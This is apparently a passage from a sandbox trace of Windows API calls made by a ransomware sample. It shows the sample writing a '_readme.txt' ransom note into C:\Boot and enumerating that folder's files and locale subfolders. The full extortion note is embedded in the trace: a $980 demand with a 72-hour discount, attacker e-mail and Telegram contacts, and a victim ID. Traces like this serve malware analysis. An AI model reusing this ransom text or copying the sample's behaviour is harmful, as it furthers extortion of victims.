lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.124] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.124] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.125] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.125] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.125] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.125] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.125] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0266.125] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.125] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.125] PathFindFileNameW (pszPath="") returned="" [0266.125] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.126] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.126] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.127] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.127] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0266.127] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x31099a8 [0266.127] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.127] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 0 [0266.127] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31106e0 [0266.127] lstrcpyW (in: lpString1=0x31106e0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.127] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.128] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.128] CreateFileW (lpFileName="C:\\Boot\\_readme.txt" (normalized: "c:\\boot\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.128] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.128] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.128] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.128] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.128] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.128] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.128] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.128] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0xc31d1c60, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0266.128] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0266.129] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0266.129] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0266.129] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0266.129] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c) returned 0x7027c0 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0266.129] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.129] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.129] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x38) returned 0x3091520 [0266.129] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d00 [0266.129] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cd8 | out: hHeap=0x640000) returned 1 [0266.129] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.130] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x54) returned 0x3083390 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d28 [0266.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x640000) returned 1 [0266.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7027c0 | out: hHeap=0x640000) returned 1 [0266.130] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3091520 | out: hHeap=0x640000) returned 1 [0266.130] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.130] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0266.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x30823f0 [0266.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d00 [0266.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d50 [0266.133] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.134] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa8) returned 0x3056730 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d28 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076da0 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0266.134] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d78 [0266.134] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfc) returned 0x30b6fa8 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d50 [0266.134] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d00 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.135] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7027c0 [0266.135] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0266.135] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.135] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x16c) returned 0x2faf350 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076da0 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076cd8 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d28 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e90 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076ee0 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f30 [0266.136] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f58 [0266.136] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0266.136] RtlAllocateHeap 